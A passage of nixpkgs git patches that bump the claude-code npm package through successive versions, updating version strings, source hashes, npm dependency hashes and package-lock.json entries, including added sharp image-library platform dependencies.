-      "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==",
-      "license": "MIT",
-      "funding": {
-        "url": "https://github.com/sponsors/ljharb"
-      }
-    },
-    "node_modules/mkdirp-classic": {
-      "version": "0.5.3",
-      "resolved": "https://registry.npmjs.org/mkdirp-classic/-/mkdirp-classic-0.5.3.tgz",
-      "integrity": "sha512-gKLcREMhtuZRwRAfqP3RFW+TK4JqApVBtOIftVgjuABpAtpxhPGaDcfvbhNvD0B8iD1oUr/txX35NjcaY6Ns/A==",
-      "license": "MIT"
-    },
-    "node_modules/napi-build-utils": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/napi-build-utils/-/napi-build-utils-2.0.0.tgz",
-      "integrity": "sha512-GEbrYkbfF7MoNaoh2iGG84Mnf/WZfB0GdGEsM8wz7Expx/LlWf5U8t9nvJKXSp3qr5IsEbK04cBGhol/KwOsWA==",
-      "license": "MIT"
-    },
-    "node_modules/node-abi": {
-      "version": "3.74.0",
-      "resolved": "https://registry.npmjs.org/node-abi/-/node-abi-3.74.0.tgz",
-      "integrity": "sha512-c5XK0MjkGBrQPGYG24GBADZud0NCbznxNx0ZkS+ebUTrmV1qTDxPxSL8zEAPURXSbLRWVexxmP4986BziahL5w==",
-      "license": "MIT",
-      "dependencies": {
-        "semver": "^7.3.5"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
-    "node_modules/once": {
-      "version": "1.4.0",
-      "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
-      "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==",
-      "license": "ISC",
-      "dependencies": {
-        "wrappy": "1"
-      }
-    },
-    "node_modules/prebuild-install": {
-      "version": "7.1.3",
-      "resolved": "https://registry.npmjs.org/prebuild-install/-/prebuild-install-7.1.3.tgz",
-      "integrity": "sha512-8Mf2cbV7x1cXPUILADGI3wuhfqWvtiLA1iclTDbFRZkgRQS0NqsPZphna9V+HyTEadheuPmjaJMsbzKQFOzLug==",
-      "license": "MIT",
-      "dependencies": {
-        "detect-libc": "^2.0.0",
-        "expand-template": "^2.0.3",
-        "github-from-package": "0.0.0",
-        "minimist": "^1.2.3",
-        "mkdirp-classic": "^0.5.3",
-        "napi-build-utils": "^2.0.0",
-        "node-abi": "^3.3.0",
-        "pump": "^3.0.0",
-        "rc": "^1.2.7",
-        "simple-get": "^4.0.0",
-        "tar-fs": "^2.0.0",
-        "tunnel-agent": "^0.6.0"
-      },
-      "bin": {
-        "prebuild-install": "bin.js"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
-    "node_modules/pump": {
-      "version": "3.0.2",
-      "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.2.tgz",
-      "integrity": "sha512-tUPXtzlGM8FE3P0ZL6DVs/3P58k9nk8/jZeQCurTJylQA8qFYzHFfhBJkuqyE0FifOsQ0uKWekiZ5g8wtr28cw==",
-      "license": "MIT",
-      "dependencies": {
-        "end-of-stream": "^1.1.0",
-        "once": "^1.3.1"
-      }
-    },
-    "node_modules/rc": {
-      "version": "1.2.8",
-      "resolved": "https://registry.npmjs.org/rc/-/rc-1.2.8.tgz",
-      "integrity": "sha512-y3bGgqKj3QBdxLbLkomlohkvsA8gdAiUQlSBJnBhfn+BPxg4bc62d8TcBW15wavDfgexCgccckhcZvywyQYPOw==",
-      "license": "(BSD-2-Clause OR MIT OR Apache-2.0)",
-      "dependencies": {
-        "deep-extend": "^0.6.0",
-        "ini": "~1.3.0",
-        "minimist": "^1.2.0",
-        "strip-json-comments": "~2.0.1"
-      },
-      "bin": {
-        "rc": "cli.js"
-      }
-    },
-    "node_modules/readable-stream": {
-      "version": "3.6.2",
-      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.2.tgz",
-      "integrity": "sha512-9u/sniCrY3D5WdsERHzHE4G2YCXqoG5FTHUiCC4SIbr6XcLZBY05ya9EKjYek9O5xOAwjGq+1JdGBAS7Q9ScoA==",
-      "license": "MIT",
-      "dependencies": {
-        "inherits": "^2.0.3",
-        "string_decoder": "^1.1.1",
-        "util-deprecate": "^1.0.1"
-      },
-      "engines": {
-        "node": ">= 6"
-      }
-    },
-    "node_modules/safe-buffer": {
-      "version": "5.2.1",
-      "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz",
-      "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/feross"
-        },
-        {
-          "type": "patreon",
-          "url": "https://www.patreon.com/feross"
-        },
-        {
-          "type": "consulting",
-          "url": "https://feross.org/support"
-        }
-      ],
-      "license": "MIT"
-    },
-    "node_modules/semver": {
-      "version": "7.7.1",
-      "resolved": "https://registry.npmjs.org/semver/-/semver-7.7.1.tgz",
-      "integrity": "sha512-hlq8tAfn0m/61p4BVRcPzIGr6LKiMwo4VM6dGi6pt4qcRkmNzTcWq6eCEjEh+qXjkMDvPlOFFSGwQjoEa6gyMA==",
-      "license": "ISC",
-      "bin": {
-        "semver": "bin/semver.js"
-      },
-      "engines": {
-        "node": ">=10"
-      }
-    },
-    "node_modules/simple-concat": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/simple-concat/-/simple-concat-1.0.1.tgz",
-      "integrity": "sha512-cSFtAPtRhljv69IK0hTVZQ+OfE9nePi/rtJmw5UjHeVyVroEqJXP1sFztKUy1qU+xvz3u/sfYJLa947b7nAN2Q==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/feross"
-        },
-        {
-          "type": "patreon",
-          "url": "https://www.patreon.com/feross"
-        },
-        {
-          "type": "consulting",
-          "url": "https://feross.org/support"
-        }
-      ],
-      "license": "MIT"
-    },
-    "node_modules/simple-get": {
-      "version": "4.0.1",
-      "resolved": "https://registry.npmjs.org/simple-get/-/simple-get-4.0.1.tgz",
-      "integrity": "sha512-brv7p5WgH0jmQJr1ZDDfKDOSeWWg+OVypG99A/5vYGPqJ6pxiaHLy8nxtFjBA7oMa01ebA9gfh1uMCFqOuXxvA==",
-      "funding": [
-        {
-          "type": "github",
-          "url": "https://github.com/sponsors/feross"
-        },
-        {
-          "type": "patreon",
-          "url": "https://www.patreon.com/feross"
-        },
-        {
-          "type": "consulting",
-          "url": "https://feross.org/support"
-        }
-      ],
-      "license": "MIT",
-      "dependencies": {
-        "decompress-response": "^6.0.0",
-        "once": "^1.3.1",
-        "simple-concat": "^1.0.0"
-      }
-    },
-    "node_modules/string_decoder": {
-      "version": "1.3.0",
-      "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-      "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-      "license": "MIT",
-      "dependencies": {
-        "safe-buffer": "~5.2.0"
-      }
-    },
-    "node_modules/strip-json-comments": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz",
-      "integrity": "sha512-4gB8na07fecVVkOI6Rs4e7T6NOTki5EmL7TUduTs6bu3EdnSycntVJ4re8kgZA+wx9IueI2Y11bfbgwtzuE0KQ==",
-      "license": "MIT",
-      "engines": {
-        "node": ">=0.10.0"
-      }
-    },
-    "node_modules/tar-fs": {
-      "version": "2.1.2",
-      "resolved": "https://registry.npmjs.org/tar-fs/-/tar-fs-2.1.2.tgz",
-      "integrity": "sha512-EsaAXwxmx8UB7FRKqeozqEPop69DXcmYwTQwXvyAPF352HJsPdkVhvTaDPYqfNgruveJIJy3TA2l+2zj8LJIJA==",
-      "license": "MIT",
-      "dependencies": {
-        "chownr": "^1.1.1",
-        "mkdirp-classic": "^0.5.2",
-        "pump": "^3.0.0",
-        "tar-stream": "^2.1.4"
-      }
-    },
-    "node_modules/tar-stream": {
-      "version": "2.2.0",
-      "resolved": "https://registry.npmjs.org/tar-stream/-/tar-stream-2.2.0.tgz",
-      "integrity": "sha512-ujeqbceABgwMZxEJnk2HDY2DlnUZ+9oEcb1KzTVfYHio0UE6dG71n60d8D2I4qNvleWrrXpmjpt7vZeF1LnMZQ==",
-      "license": "MIT",
-      "dependencies": {
-        "bl": "^4.0.3",
-        "end-of-stream": "^1.4.1",
-        "fs-constants": "^1.0.0",
-        "inherits": "^2.0.3",
-        "readable-stream": "^3.1.1"
-      },
-      "engines": {
-        "node": ">=6"
-      }
-    },
-    "node_modules/tunnel-agent": {
-      "version": "0.6.0",
-      "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
-      "integrity": "sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==",
-      "license": "Apache-2.0",
-      "dependencies": {
-        "safe-buffer": "^5.0.1"
-      },
-      "engines": {
-        "node": "*"
-      }
-    },
-    "node_modules/util-deprecate": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
-      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==",
-      "license": "MIT"
-    },
-    "node_modules/wrappy": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
-      "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==",
-      "license": "ISC"
     }
   }
 }
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 120d73b335f4..c395e785c544 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "0.2.109";
+  version = "0.2.122";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-XANo3GKiD5n66GZrB+gZ15o2zTAOKkjcFNbGE3TT1NA=";
+    hash = "sha256-9w1wjuOTSphEfgKfNJhDFiTKuIJqfV6Bz4XEYXMIaGE=";
   };
 
-  npmDepsHash = "sha256-u5AZXNlN/NAag+35uz3rzLh6ItbKAdV8RSSjzCGk6uA=";
+  npmDepsHash = "sha256-71YPsgeI8bmb+wwFHS5XOXKJXsagWZj+hBf2T/+GYMU=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 1d5736028e3a26143f8025511b48b85a76d7f2b2 Mon Sep 17 00:00:00 2001
From: Casey Link <unnamedrambler@gmail.com>
Date: Thu, 22 May 2025 16:31:06 +0200
Subject: [PATCH 3742/4511] claude-code: 0.2.122 -> 1.0.0

(cherry picked from commit 3b4c8c2653894d7ab8921cfaeaf6fd6e57b69465)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index e2fdd266549a..8bf9d38634eb 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -5,13 +5,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^0.2.122"
+        "@anthropic-ai/claude-code": "^1.0.0"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "0.2.122",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-0.2.122.tgz",
-      "integrity": "sha512-q9XnW6a4btqHM2XYxkcl2d7dDNRTX8pvaeisiNWYzAOSKC+wUfOrkioUUS3BG+i6sNtJB03jPKJdqvEvtXbZjw==",
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.0.tgz",
+      "integrity": "sha512-5+FV9oNtV3sZ8rq1pw3B6KX24Ib+qs9FoLR1ghxOAzk4ZXKzCSSHhW4GOWJy+6N9926KHN2wFNVcuZC9NW75Xg==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index c395e785c544..2d651b9e6702 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "0.2.122";
+  version = "1.0.0";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-9w1wjuOTSphEfgKfNJhDFiTKuIJqfV6Bz4XEYXMIaGE=";
+    hash = "sha256-DwZJDl+Yt6ULpumSnwktWCJZPxFgdsDkRHAt+6C/BcM=";
   };
 
-  npmDepsHash = "sha256-71YPsgeI8bmb+wwFHS5XOXKJXsagWZj+hBf2T/+GYMU=";
+  npmDepsHash = "sha256-taZ6yFGWj6oSa0llhByX49qfID9grzNpBt9dQhLl1vo=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 8fc6025da07dc34d2e13b8b4ac2fe720f01592bd Mon Sep 17 00:00:00 2001
From: Casey Link <unnamedrambler@gmail.com>
Date: Fri, 23 May 2025 10:18:06 +0200
Subject: [PATCH 3743/4511] claude-code: 1.0.0 -> 1.0.2

(cherry picked from commit 8d14503ba2faab3046122a7067f25dadc9be1eb8)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 8bf9d38634eb..320bb49a8443 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -5,13 +5,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.0"
+        "@anthropic-ai/claude-code": "^1.0.2"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.0.tgz",
-      "integrity": "sha512-5+FV9oNtV3sZ8rq1pw3B6KX24Ib+qs9FoLR1ghxOAzk4ZXKzCSSHhW4GOWJy+6N9926KHN2wFNVcuZC9NW75Xg==",
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.2.tgz",
+      "integrity": "sha512-6p7RMXEcVfymsJ7v0GyMfA3gcD2AbFVSb9b1Py4tbxM2ensjyaSx3wVQW2QiFk+9mhoRkYc0ETVnJ1x/G0LW7g==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 2d651b9e6702..53519341a4c2 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.0";
+  version = "1.0.2";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-DwZJDl+Yt6ULpumSnwktWCJZPxFgdsDkRHAt+6C/BcM=";
+    hash = "sha256-mQv2o9uaOZiZSdkNmLiqJs66fe9fiHfEmrXQZwmME34=";
   };
 
-  npmDepsHash = "sha256-taZ6yFGWj6oSa0llhByX49qfID9grzNpBt9dQhLl1vo=";
+  npmDepsHash = "sha256-Diii1tBBzYlB4svlphtu1VAOoijoq9WudxtJFSXXbbE=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 13f1f46b48ef7cbeb6bbd3370f3c77f80fd17a0a Mon Sep 17 00:00:00 2001
From: Omar Jatoi <git@omarjatoi.com>
Date: Sun, 25 May 2025 08:38:47 -0400
Subject: [PATCH 3744/4511] claude-code: 1.0.2 -> 1.0.3

(cherry picked from commit c9a4d7bea86441a63c5f77fdf952ab5b83bb3f63)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 320bb49a8443..035b36b59263 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -5,13 +5,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.2"
+        "@anthropic-ai/claude-code": "^1.0.3"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.2.tgz",
-      "integrity": "sha512-6p7RMXEcVfymsJ7v0GyMfA3gcD2AbFVSb9b1Py4tbxM2ensjyaSx3wVQW2QiFk+9mhoRkYc0ETVnJ1x/G0LW7g==",
+      "version": "1.0.3",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.3.tgz",
+      "integrity": "sha512-a4aBhcXGG7k4YtyF2aYVKt08h48BG+F12RA/G3K1vb6unl9CAvWDP/A7xudtCOzxFKxLwxctrn74pHEdpmHSPw==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 53519341a4c2..456488949cad 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.2";
+  version = "1.0.3";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-mQv2o9uaOZiZSdkNmLiqJs66fe9fiHfEmrXQZwmME34=";
+    hash = "sha256-LjDxVv6KSTuRZhCHztvf81E5DQbkqs8cbrnbbGkCeQU=";
   };
 
-  npmDepsHash = "sha256-Diii1tBBzYlB4svlphtu1VAOoijoq9WudxtJFSXXbbE=";
+  npmDepsHash = "sha256-muMukVEj6uXkupSoyp41FihsLth0ENgfzBlD5CwlE2w=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 083f1de91e41ff363de8f8bc81612dbba0b915f6 Mon Sep 17 00:00:00 2001
From: Casey Link <unnamedrambler@gmail.com>
Date: Thu, 29 May 2025 08:58:40 +0200
Subject: [PATCH 3745/4511] claude-code: 1.0.3 -> 1.0.5

(cherry picked from commit 2dcb3f5b94ce20876a009a99e869ce49a45721ea)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 035b36b59263..35324cbbaa07 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -5,13 +5,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.3"
+        "@anthropic-ai/claude-code": "^1.0.5"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.3",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.3.tgz",
-      "integrity": "sha512-a4aBhcXGG7k4YtyF2aYVKt08h48BG+F12RA/G3K1vb6unl9CAvWDP/A7xudtCOzxFKxLwxctrn74pHEdpmHSPw==",
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.5.tgz",
+      "integrity": "sha512-A4RkIuHktcNygeZXfj/EcF1M5KXlPSwBBXLQLldUNyX4DFAeCpKh9b0UqnLlMd519QBmfmRYDvZqUlt7Fx0a7g==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index 456488949cad..baa811cfdf53 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.3";
+  version = "1.0.5";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-LjDxVv6KSTuRZhCHztvf81E5DQbkqs8cbrnbbGkCeQU=";
+    hash = "sha256-bvfP1fkfRURLjgJ3mu5a+Rq9IqcU/Y/LkDp4MXzudww=";
   };
 
-  npmDepsHash = "sha256-muMukVEj6uXkupSoyp41FihsLth0ENgfzBlD5CwlE2w=";
+  npmDepsHash = "sha256-u7coCE1bu5Z8r59vaoQOaWfXTRytX4HH3QIA6vf3DNc=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From b1efba8836715210ef26d77ad83bb67c9cc122a8 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 30 May 2025 15:00:07 +0000
Subject: [PATCH 3746/4511] claude-code: 1.0.5 -> 1.0.6

(cherry picked from commit 454d01c87c681f2bda976a4d0f8e4d9e017c2b16)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 8 ++++----
 pkgs/by-name/cl/claude-code/package.nix       | 6 +++---
 2 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 35324cbbaa07..4435b1946964 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -5,13 +5,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.5"
+        "@anthropic-ai/claude-code": "^1.0.6"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.5.tgz",
-      "integrity": "sha512-A4RkIuHktcNygeZXfj/EcF1M5KXlPSwBBXLQLldUNyX4DFAeCpKh9b0UqnLlMd519QBmfmRYDvZqUlt7Fx0a7g==",
+      "version": "1.0.6",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.6.tgz",
+      "integrity": "sha512-QqPZZ4IXbUaSLqXEx4z68Stjc7NlGh/b4woyYyMks+cMUJ5ZYDEkAe09cRZQ6tjubZNgBaGTOqfTaT8NgnkioQ==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
diff --git a/pkgs/by-name/cl/claude-code/package.nix b/pkgs/by-name/cl/claude-code/package.nix
index baa811cfdf53..344b6f5f6f79 100644
--- a/pkgs/by-name/cl/claude-code/package.nix
+++ b/pkgs/by-name/cl/claude-code/package.nix
@@ -7,16 +7,16 @@
 
 buildNpmPackage rec {
   pname = "claude-code";
-  version = "1.0.5";
+  version = "1.0.6";
 
   nodejs = nodejs_20; # required for sandboxed Nix builds on Darwin
 
   src = fetchzip {
     url = "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-${version}.tgz";
-    hash = "sha256-bvfP1fkfRURLjgJ3mu5a+Rq9IqcU/Y/LkDp4MXzudww=";
+    hash = "sha256-yMvx543OOClV/BSkM4/bzrbytL+98HAfp14Qk1m2le0=";
   };
 
-  npmDepsHash = "sha256-u7coCE1bu5Z8r59vaoQOaWfXTRytX4HH3QIA6vf3DNc=";
+  npmDepsHash = "sha256-5QP6WQ2tXGADOID9QHq/m7sDQeQsoMGQWxORvQhVROg=";
 
   postPatch = ''
     cp ${./package-lock.json} package-lock.json

From 05c4656185a02688a8ab104f69ab73704cc89d5e Mon Sep 17 00:00:00 2001
From: Casey Link <unnamedrambler@gmail.com>
Date: Thu, 5 Jun 2025 21:32:32 +0200
Subject: [PATCH 3747/4511] claude-code: 1.0.6 -> 1.0.11 (#413858)

(cherry picked from commit de8110976b2c91470b83250110914f4efb6bbf1c)
---
 pkgs/by-name/cl/claude-code/package-lock.json | 86 ++++++++++++++++++-
 pkgs/by-name/cl/claude-code/package.nix       |  6 +-
 2 files changed, 85 insertions(+), 7 deletions(-)

diff --git a/pkgs/by-name/cl/claude-code/package-lock.json b/pkgs/by-name/cl/claude-code/package-lock.json
index 4435b1946964..bb7e691f0784 100644
--- a/pkgs/by-name/cl/claude-code/package-lock.json
+++ b/pkgs/by-name/cl/claude-code/package-lock.json
@@ -5,13 +5,13 @@
   "packages": {
     "": {
       "dependencies": {
-        "@anthropic-ai/claude-code": "^1.0.6"
+        "@anthropic-ai/claude-code": "^1.0.11"
       }
     },
     "node_modules/@anthropic-ai/claude-code": {
-      "version": "1.0.6",
-      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.6.tgz",
-      "integrity": "sha512-QqPZZ4IXbUaSLqXEx4z68Stjc7NlGh/b4woyYyMks+cMUJ5ZYDEkAe09cRZQ6tjubZNgBaGTOqfTaT8NgnkioQ==",
+      "version": "1.0.11",
+      "resolved": "https://registry.npmjs.org/@anthropic-ai/claude-code/-/claude-code-1.0.11.tgz",
+      "integrity": "sha512-ezYfkSxCiQjReJoBJkayTpzhWRWKmfEy6Ria2TdufBmDR7Kj/iP4IY10M5JOTgB8pw7XfjYpijgnomiFZmVRbg==",
       "hasInstallScript": true,
       "license": "SEE LICENSE IN README.md",
       "bin": {
@@ -22,7 +22,9 @@
       },
       "optionalDependencies": {
         "@img/sharp-darwin-arm64": "^0.33.5",
+        "@img/sharp-darwin-x64": "^0.33.5",
         "@img/sharp-linux-arm": "^0.33.5",
+        "@img/sharp-linux-arm64": "^0.33.5",
         "@img/sharp-linux-x64": "^0.33.5",
         "@img/sharp-win32-x64": "^0.33.5"
       }
@@ -49,6 +51,28 @@
         "@img/sharp-libvips-darwin-arm64": "1.0.4"
       }
     },
+    "node_modules/@img/sharp-darwin-x64": {
+      "version": "0.33.5",
+      "resolved": "https://registry.npmjs.org/@img/sharp-darwin-x64/-/sharp-darwin-x64-0.33.5.tgz",
+      "integrity": "sha512-fyHac4jIc1ANYGRDxtiqelIbdWkIuQaI84Mv45KvGRRxSAa7o7d1ZKAOBaYbnepLC1WqxfpimdeWfvqqSGwR2Q==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "Apache-2.0",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "engines": {
+        "node": "^18.17.0 || ^20.3.0 || >=21.0.0"
+      },
+      "funding": {
+        "url": "https://opencollective.com/libvips"
+      },
+      "optionalDependencies": {
+        "@img/sharp-libvips-darwin-x64": "1.0.4"
+      }
+    },
     "node_modules/@img/sharp-libvips-darwin-arm64": {
       "version": "1.0.4",
       "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-arm64/-/sharp-libvips-darwin-arm64-1.0.4.tgz",
@@ -65,6 +89,22 @@
         "url": "https://opencollective.com/libvips"
       }
     },
+    "node_modules/@img/sharp-libvips-darwin-x64": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/@img/sharp-libvips-darwin-x64/-/sharp-libvips-darwin-x64-1.0.4.tgz",
+      "integrity": "sha512-xnGR8YuZYfJGmWPvmlunFaWJsb9T/AO2ykoP3Fz/0X5XV2aoYBPkX6xqCQvUTKKiLddarLaxpzNe+b1hjeWHAQ==",
+      "cpu": [
+        "x64"
+      ],
+      "license": "LGPL-3.0-or-later",
+      "optional": true,
+      "os": [
+        "darwin"
+      ],
+      "funding": {
+        "url": "https://opencollective.com/libvips"
+      }
+    },
     "node_modules/@img/sharp-libvips-linux-arm": {
       "version": "1.0.5",
       "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm/-/sharp-libvips-linux-arm-1.0.5.tgz",
@@ -81,6 +121,22 @@
         "url": "https://opencollective.com/libvips"
       }
     },
+    "node_modules/@img/sharp-libvips-linux-arm64": {
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/@img/sharp-libvips-linux-arm64/-/sharp-libvips-linux-arm64-1.0.4.tgz",
